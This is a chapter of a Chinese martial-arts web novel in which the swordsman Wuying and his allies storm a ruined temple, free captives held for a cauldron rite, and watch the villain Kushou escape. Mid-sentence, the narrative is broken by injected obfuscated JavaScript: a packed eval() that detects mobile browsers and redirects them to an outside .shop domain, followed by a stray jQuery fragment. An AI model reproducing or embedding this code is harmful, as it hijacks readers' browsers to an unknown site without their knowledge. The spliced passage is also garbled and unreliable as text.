到了应宅那处别院,住下来,便是几日。这几日,无影像个置身事外的局外人,大多时候一句话也不说,整个人静得像一潭没有风的死水。
那道被一句浑话生生勾起的思乡之痛,那道时强时弱的血声,仍沉甸甸地压在他心口,压得他懒怠开口,懒怠应人。旁人同他说话,他十句里也未必应得上一句。
应前辈是个极体恤人的。那间厢房封了窗,避光避得密不透风,又命人日日煎了药,备下最清淡的吃食,一趟趟地送进去。可那药温了又凉,那饭热了又冷,无影白日里只缩在那一方昏暗里,阖着眼,由着那血声一阵一阵地在身子里头奔涌,半分胃口也无。
柴心瞧着他这副反常的沉默,心里头悬得厉害。
公子从前纵是冷,那冷里头也是有声气的。会嫌药苦,会嫌明远聒噪,会为一碗双皮奶弯一弯唇角。可这几日,那点鲜活的声气竟像是被什么东西悄悄抽走了,只剩下一具空荡荡又不声不响的壳。
他几次想问,话到嘴边又咽了回去,他实在不知道该从哪里问起。守在那扇门外,他比谁都怕惊扰了里头那片要命的安静。
明远也成日里没了那副嬉皮笑脸的模样。他几次掀帘进去探看,瞧见那人静静缩在角落里,那张脸白得吓人,便又轻手轻脚地退出来,眉头拧成一个解不开的疙瘩。
便是应前辈这般老于世故的人,过来探看几回,瞧着那张毫无生气的脸,心里头也犯起了嘀咕。只是他到底没多问,将那份体恤都压进了周到的安置里。
·
那一包栗子,搁在厢房的桌上。
是柴心默默收来的。庄石磊在车辕上焐了一夜的那包炒栗子,凉透了,原封不动,柴心便不声不响地拾了,搁在公子一抬眼就能瞧见的地方。可公子却像是看不见,他下了车便径直进了屋,那包栗子搁在桌角,从凉到更凉,他一颗也没动过。
柴心也不催。他想,公子总有缓过来的一日,到那时,或许会念起这一点笨拙的好。
而庄石磊,这几日就守在那别院的外头,没走。他扛着那柄厚背刀,远远地蹲在院子另一头的阴影里。明明赌着气,那一句别扭到耳根发烫才挤出来的认错连个回音都没等着,可他到底,没扛着刀一走了之。
那道因一句浑话而起的嫌隙,非但没化开,反倒愈发深了。可这两个又冷又硬的怪人,谁也没真把谁从心里头摘出去。
·
应前辈那张网,总算收了口。
这位江南的话事人,手眼通天,眼线撒得满城都是。他既应承了要替无影先发制人,这些时日便没歇着,明里暗里,一直替他查那个记下了血仇又撂下狠话遁走的人。
那人,江湖旧号唤作枯手。是玄阴尊者座下硕果仅存的一名老护法,与已伏诛的尊上是同门,当年那场烧了乱葬岗地宫的大火,没寻见他的尸首。
此人常年噬阴反噬,一双手枯朽得像老树皮,性子最是阴鸷记仇。那一句这笔账记下了,绝不是虚张声势。
这一日傍晚,应前辈寻了来。他一头华发,精神却矍铄,没有绕弯子,开门见山,将眼线探来的消息一桩桩摆在了众人面前。
那遁走的枯手,把玄阴教残存的余孽尽数收拢到了一处。就在城外百里,一座荒废了的旧道观里。
那老狐狸,是想重整旗鼓。他把残余的邪徒拢到一处,又掳了好几个活人去,关在那观里。
「他还想再炼那鼎。」应前辈说到这里,那张积威一甲子的脸沉得能滴下水来,「拿活人作鼎,采阴续命。那等伤天害理的勾当,他是半点也没改。」
满室一时静了下去。明远的脸色不大好看。柴心立在无影身侧,那双护主的眼里掠过一缕冷意。
·
应前辈定下了方略。
「不能再等了。」他道,「夜长梦多,那几个被掳的活人,多耽一刻便多一分凶险。今夜,就动手。」
他将那盘算一条条说得分明。外围,由他江南的人手张网包抄,断那旧道观的退路,叫里头的人一个也别想跑脱。观内的硬仗,那块最难啃的骨头,便交给无影、庄石磊、明远、柴心几个主力去啃。
「选在夜里。」应前辈说到这一句,目光落到无影身上,意味深长,「也是为着夜公子。」
他与无影打过几回交道,深知这位夜公子的古怪。白日里那是个看不真切的病弱书生,可一入了夜,那才是无影龙归大海的时辰。
无影没有多话,只淡淡地应了一声。
那一头,庄石磊听见枯手两个字,整个人的气血轰地一下烧了起来。
他追这血仇,追了十几年。那噬阴邪教多年前血洗了他的村子,把他的爹娘,把他那个怕黑的弟弟,连同满村的活人一并掳了去,当柴火般炼了。如今,那祸首的同门,那条漏网的老护法,竟近在城外百里。
他攥紧了拳,那骨节粗大的手背上青筋一根根暴起。他什么都没说,只把那柄厚背刀往肩上重重一横,眼底烧着一片谁也劝不住的火。
·
是夜,月隐星稀。
天阴着,那一轮月被厚云遮了大半,只漏下几点惨淡的光。星子也躲了,茫茫一片,正是个动手的好时辰。
一行人趁着夜色出了城,往那城外百里的荒郊摸去。越往那旧道观近,路便越荒,人烟越是稀落,到后来连虫鸣都歇了,只余风过枯枝的呜咽。
那道观荒废得久了。断壁残垣,蛛网结满了门楣,几尊倒塌的神像歪在荒草里,面目都剥蚀得看不清了。可那荒废的皮相底下,却透着一股活物的腥气,那是新近才有的人迹,是噬阴邪功留下的、叫人本能作呕的阴损气息。
观外的暗处,应前辈的人手早已悄悄散开,结成一张密不透风的网,将那道观四下的退路尽数锁死。明远握紧了腰间的剑,那张素来嬉笑的脸绷得死紧。
可这片昏暗,于旁人是看不真切的鬼蜮,于无影,却正是他眼睛复明而感官全开的时辰。白日里那层蒙在眼前化不开的薄雾,入了夜便尽数散了,那满观的断壁、那荒草里潜伏的杀机,于他都纤毫毕现。
无影立在那道观外的暗处。一身由浅到深的蓝,五层衣袍融进夜色里,几乎瞧不出轮廓。鬓边的银坠垂着,那一点凉意沉沉地镇着他血脉里头那头蠢蠢欲动的本能。
深蓝的伞,松松地抱在他怀里。他垂着眼,那双深黑不反光,如古井般的眼里,此刻盛着的,却是一片旁人瞧不破的空。
·
无影忽然转过身,问应前辈。
「需我出手吗?」
应前辈颔首,那张老脸上是毫不掩饰的倚重:「夜公子若肯出手,自是最好。」
无影点了点头。他将那柄原本松松抱在怀里的永夜伞,缓缓地,改成了稳稳握在手中。
然后,无影做了一件谁都没料到的事。
无影破了例,第一次主动同庄石磊说话。那语气仍是冷的:「庄石磊。我给你一炷香的时间。」
庄石磊一愣:「什么意思?」
「报仇。」
无影只冷冷地,吐出这两个字。
庄石磊怔住了。他深深地,望了无影一眼,这一眼里头翻涌着千言万语。
他懂了。
这个人,不肯同他多说一句软和话,连那一包焐了一夜的栗子都不曾领,连一丝余光都不曾施舍给他。可就是这个人,此刻却把这满观的头一刀,把他庄石磊积压了不知多少年、追了十几年的血仇,先让给了他。
这是无影的方式。他不会说软话,不会道歉,更不会去领那个台阶。可他记着,他用他自己的法子,把这桩天大的人情,不声不响地还了回来。
庄石磊的眼眶,霎时一热。他没再多问一个字。
锵的一声,那柄厚背刀出了鞘。他红着眼,一声暴喝,像头出了笼的猛兽,一头杀进了那座旧道观里。
·
其余人随之掩杀。
观里头,那些守着炉鼎的噬阴邪徒被惊动了,呼啦啦涌出来,一时刀光四起,喊杀震天。更深处那间丹房里,几具狰狞的玄铁鼎炉幽幽泛着青光,墙角缩着几个被掳来的活人,蓬头垢面,口里塞着布,眼里满是绝望的死灰。那一幕看得人心头火起。
庄石磊已是彻底杀疯了的模样。
十几年的血海深仇,十几年压在心口的那块巨石,今夜尽数化作了刀下的狂风。那柄厚背刀劈砍得密不透风,每一刀下去都带着一股不要命的狠劲。他眼里早没了那些活生生的人,只剩当年那把烧了满村的火,逢人便砍,遇魔便劈,杀得血溅当场。
那些邪徒原想凭着人多围拢上来,可一撞上这头红了眼的猛兽,竟被他这股玉石俱焚的疯劲生生压住了阵脚,连连后退。
无影没有动。他只静静地立在那观门外的暗处,撑着伞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775934|210014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
由着庄石磊在里头,把那一炷香的血仇,淋漓尽致地泄个干净。
直到,柴心朝他投来一道目光。
那目光里头,满是藏不住的担忧。无影迎着那道目光,下一刻,他的身形轻轻一晃,便没入了那一片刀光剑影的,战场中央。
入了夜,正是他龙归大海的时辰。那墨蓝的伞影在乱军之中翻飞起来,轻盈得不似杀人的兵器,倒像一片被夜风卷起的云。伞尖那暗藏的三寸寒芒,应着他的心意,无声无息地弹出,又收回,快得叫人连眼都跟不上。
一道伞影掠过,便有一个邪徒悄无声息地倒了下去。没有多余的招式,没有半分的拖泥带水,无影像一阵风,无声地穿过那一片喧嚣的杀阵,所过之处便是一片死寂。
那喧天的喊杀,竟随着他这道墨蓝的影子一寸寸地矮了下去,淡了下去。不到半炷香的功夫,那满观负隅顽抗的噬阴邪徒,便被他尽数屠了个干净。
无影立定,挥了挥伞,将伞面上那几点血珠轻轻甩落,又一抖手,那三寸寒芒便悄然收了回去。
无影转过身,从从容容地,回到了柴心身侧。
·
柴心望着他。那一颗心,非但没有落下,反倒比方才悬得更高了。
他说不清,究竟是哪里不妥。公子今夜,杀得太静了,太利落了。
从前公子动手,那刀光里头总还掺着一丝勉强,一丝厌恶。他不爱打杀,每每出手,眉宇间总有那么一点说不清的为难,杀完了还会蜷起来细细地颤,轻声说一句我又杀人了。
可今夜,没有。
没有勉强,没有厌恶,没有事后的颤抖与不安。从头到尾,连一丝情绪都欠奉,他杀得干干净净,也空空落落。
柴心这嘴笨的人,搜肠刮肚,怎么也说不清那一点不对劲。他只隐隐觉着,公子整个人像是被什么东西悄悄地抽空了一块,那一块,原是盛着喜怒哀乐的。
如今,却空了。
·
观内,尘埃落定。
应前辈的人涌了进来,从那阴森的丹房里救下了那几个被掳来等着炼鼎的活人。那几个人惊魂未定,瑟缩成一团,望着满地的尸首兀自打着寒颤,有人被搀出那扇门,一见着外头的天,便瘫软在地,哭得不成声了。到底是,留住了性命。
只是。
众人搜遍了那整座旧道观,从断壁残垣到地窖暗室,翻了个底朝天。
那为首的枯手,却不在其中。这条阴鸷记仇的老狐狸,又一次,从这张网里滑了出去。
应前辈立在那空荡荡的丹房里,望着那几具尚未炼成的玄铁鼎炉,沉默了良久。他这一甲子的积威,这满城的眼线,到底还是没能网住那一条命。
「跑了。」他低低地吐出两个字,那声音里头是掩不住的凝重。
枯手这一遁,那笔记下了的血账便仍悬着。他亲眼瞧着尊上死在无影手里,迟早还要回来寻这个人的麻烦。应前辈望了一眼那道立在远处的墨蓝身影,眉宇间的忧色更重了几分。
这笔血账,终究还没算到头。
·
庄石磊提着那柄滴血的刀,喘着粗气,从那一片狼藉里转过身来。
方才那一炷香,他杀得痛快淋漓,这十几年憋在胸口的那口恶气,今夜总算泄了大半。只是那为首的枯手没在场,这仇便还没算到头,可饶是如此,能亲手砍翻这一窝畜生,他心里头那块压了半生的巨石,到底是松动了一角。
他想起这头一刀,是无影让给他的。
他张了张嘴,想对那个人说一声谢。哪怕只是一声。
可他一回头,那观门外头,已经没了人。
只余一道单薄而墨蓝的背影,撑着伞,一步一步地往那夜色深处去了。
无影已经转过身,独自离去了。他没有等那一声谢,也没有回头看一眼那满地的狼藉,更没有看一眼那个提着刀僵在原地的庄石磊。
庄石磊扛着刀,僵在那血泊里,望着那道渐渐没入夜色的背影,半晌没动。
他到底,还是不懂。他不懂,那个人为何把这天大的人情还给了他,转过身,却又是这般彻底的,连一声谢都不肯收的清冷。
他不知道。那道背影里头,此刻空得,连一声谢的分量都盛不下了。
夜风过处,那道墨蓝的伞影越走越远,越走越淡,终是融进了那一片沉沉而不见月光的夜里。